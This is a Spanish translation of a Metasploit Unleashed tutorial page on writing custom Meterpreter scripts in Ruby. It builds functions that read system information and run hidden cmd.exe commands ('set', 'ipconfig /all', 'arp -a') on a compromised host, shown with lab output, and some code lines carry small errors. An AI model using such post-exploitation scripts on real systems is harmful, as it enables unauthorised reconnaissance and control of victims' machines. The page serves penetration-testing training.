Scripts Personalizados
De www.metasploit-es.com.ar
Scripts Personalizados
Ahora que tenemos una idea de cómo utilizar irb para probar llamadas a la API, echemos un vistazo a lo que los objetos sean devueltos y las construcciones básicas de prueba. Ahora, sin guión primero estaría completa sin la norma "Hola Mundo", por lo que le permite crear un script llamado "helloworld.rb" y guardarlo en / pentest/exploits/framework3/scripts/meterpreter.
root@bt4:~# echo “print_status(“Hello World”)” > /pentest/exploits/framework3/scripts/meterpreter/helloworld.rb
Ahora ejecutar el script por la consola mediante el comando run.
meterpreter > run helloworld [*] Hello World meterpreter >
Ahora, vamos a construir sobre esta base. Vamos a añadir un par de llamadas a escritura del API. Añadir estas líneas al script.
print_error(“this is an error!”) print_line(“this is a line”)
Al igual que el concepto de estándar, salida estándar y error estándar, estas diferentes líneas de status, error, todas estas lineas se usan con el fin de dar información al usuario que ejecuta el script.
Ahora, cuando ejecutamos nuestro archivo tenemos:
meterpreter > run helloworld [*] Hello World [-] this is an error! this is a line meterpreter >
Finalizando helloworld.rb
print_status("Hello World")
print_error("this is an error!")
print_line("This is a line")
¡Maravilloso! Vamos a ir un poco más allá y crear una función para imprimir información de carácter general y agregar control de errores para que se muestren en otra opcion. Esta nueva función tendrá la siguiente arquitectura:
def geninfo(session)
begin
…..
rescue ::Exception => e
…..
end
end
El uso de funciones nos permite hacer nuestro código modular y más re-utilizable. Este control de errores nos ayudará en la solución de problemas de nuestros scripts, así que al usar algunas de las llamadas a la API mostardas anteriormente, podríamos construir una función que tiene este aspecto:
def getinfo(session)
begin
sysnfo = session.sys.config.sysinfo
runpriv = session.sys.config.getuid
print_status("Getting system information ...")
print_status("tThe target machine OS is #{sysnfo['OS']}")
print_status("tThe computer name is #{'Computer'} ")
print_status("tScript running as #{runpriv}")
rescue ::Exception => e
print_error("The following error was encountered #{e}")
end
end
Vamos a descomponer lo que estamos haciendo aquí. Se define una función llamada getinfo que tiene un parámetro de que estamos colocando en una variable local denominada 'session'. Esta variable tiene un par de métodos que son llamados para extraer información a los usuarios del sistema y después de lo cual vamos a imprimir un par de líneas de estado que informen los resultados de los métodos. En algunos casos, la información que está imprimiendo sale de un hash, así que tenemos que asegúrese de llamar la variable correctamente. También tenemos un control de errores colocado allí para que nos devuelva un mensaje de error si se encuentra.
Ahora que tenemos esta función, sólo tenemos que llamarla y darle la sesión de cliente Meterpreter. No la explicaremos, simplemente coloque el siguiente texto al final de nuestro script:
getinfo(client)
Ahora ejecutamos nuestro script y podemos ver la salida del mismo:
meterpreter > run helloworld2 [*] Getting system information ... [*] The target machine OS is Windows XP (Build 2600, Service Pack 3). [*] The computer name is Computer [*] Script running as WINXPVM01labuser
Finalizando helloworld2.rb
def getinfo(session)
begin
sysnfo = session.sys.config.sysinfo
runpriv = session.sys.config.getuid
print_status("Getting system information ...")
print_status("tThe target machine OS is #{sysnfo['OS']}")
print _status("tThe computer name is #{'Computer'} ")
print_status("tScript running as #{runpriv}")
rescue ::Exception => e
print_error("The following error was encountered #{e}")
end
end
getinfo(client)
Como puede ver, estos pasos muy sencillos construir para darnos las bases para la creación de scripts avanzados Meterpreter. Vamos a ampliar esta secuencia de comandos para recopilar más información sobre nuestro objetivo. Vamos a crear otra función para la ejecución de comandos y la impresión de su resulado:
def list_exec(session,cmdlst)
print_status("Running Command List ...")
r=''
session.response_timeout=120
cmdlst.each do |cmd|
begin
print_status "trunning command #{cmd}"
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
print_status("t#{d}")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd}: #{e.class} #{e}")
end
end
end
Una vez más, vamos a interpretar lo que estamos haciendo aquí. Definimos una función que toma dos parametros, la segunda de las cuales será una matriz. Un tiempo de espera también se establece para que la función no se cuelga. A continuación, crear un 'for each' loop (bucle) que se ejecuta en la matriz que se pasa a la función que tendrá cada elemento de la matriz y ejecutarlo en el sistema a través de 'cmd.exe /c',se imprime por pantalla la situación que se devuelve de la ejecución de comandos. Por último, un controlador de errores se establece para la captura de cualquier problema que pueda surgir durante la ejecución de la función.
Ahora nos fijamos una serie de comandos para enumerar el host de destino:
commands = [ “set”,
“ipconfig /all”,
“arp –a”]
y luego la llamamos con el comando
list_exec(client,commands)
Ya con todo eso en su lugar, cuando ejecutamos que tenemos:
meterpreter > run helloworld3 [*] Running Command List ... [*] running command set [*] ALLUSERSPROFILE=C:\Documents and Settings\All Users APPDATA=C:\Documents and Settings\P0WN3D\Application Data CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=TARGET ComSpec=C:\WINNT\system32\cmd.exe HOMEDRIVE=C: HOMEPATH= LOGONSERVER=TARGET NUMBER_OF_PROCESSORS=1 OS=Windows_NT Os2LibPath=C:\WINNT\system32\os2dll; Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping 6, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0706 ProgramFiles=C:\Program Files PROMPT=$P$G SystemDrive=C: SystemRoot=C:\WINNT TEMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp TMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp USERDOMAIN=TARGET USERNAME=P0WN3D USERPROFILE=C:\Documents and Settings\P0WN3D windir=C:\WINNT [*] running command ipconfig /all [*] Windows 2000 IP Configuration Host Name . . . . . . . . . . . . : target Primary DNS Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : localdomain Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : localdomain Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter Physical Address. . . . . . . . . : 00-0C-29-85-81-55 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IP Address. . . . . . . . . . . . : 172.16.104.145 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.16.104.2 DHCP Server . . . . . . . . . . . : 172.16.104.254 DNS Servers . . . . . . . . . . . : 172.16.104.2 Primary WINS Server . . . . . . . : 172.16.104.2 Lease Obtained. . . . . . . . . . : Tuesday, August 25, 2009 10:53:48 PM Lease Expires . . . . . . . . . . : Tuesday, August 25, 2009 11:23:48 PM [*] running command arp -a [*] Interface: 172.16.104.145 on Interface 0x1000003 Internet Address Physical Address Type 172.16.104.2 00-50-56-eb-db-06 dynamic 172.16.104.150 00-0c-29-a7-f1-c5 dynamic meterpreter >
Finalizado helloworld3.rb
def list_exec(session,cmdlst)
print_status("Running Command List ...")
r=''
session.response_timeout=120
cmdlst.each do |cmd|
begin
print_status "running command #{cmd}"
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
print_status("t#{d}")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd}: #{e.class} #{e}")
end
end
end
commands = [ "set",
"ipconfig /all",
"arp -a"]
list_exec(client,commands)
Como puede ver, crear scripts personalizados Meterpreter no es difícil si se toma un paso a la vez, basándose en otros. Sólo recuerdara como hacerlo segun la frecuencia con que realiza los test y realiza llamadas traseras a las API.
© Offensive Security 2009
Original by www.offensive-security.com/metasploit-unleashed/ Traslated by tundervirld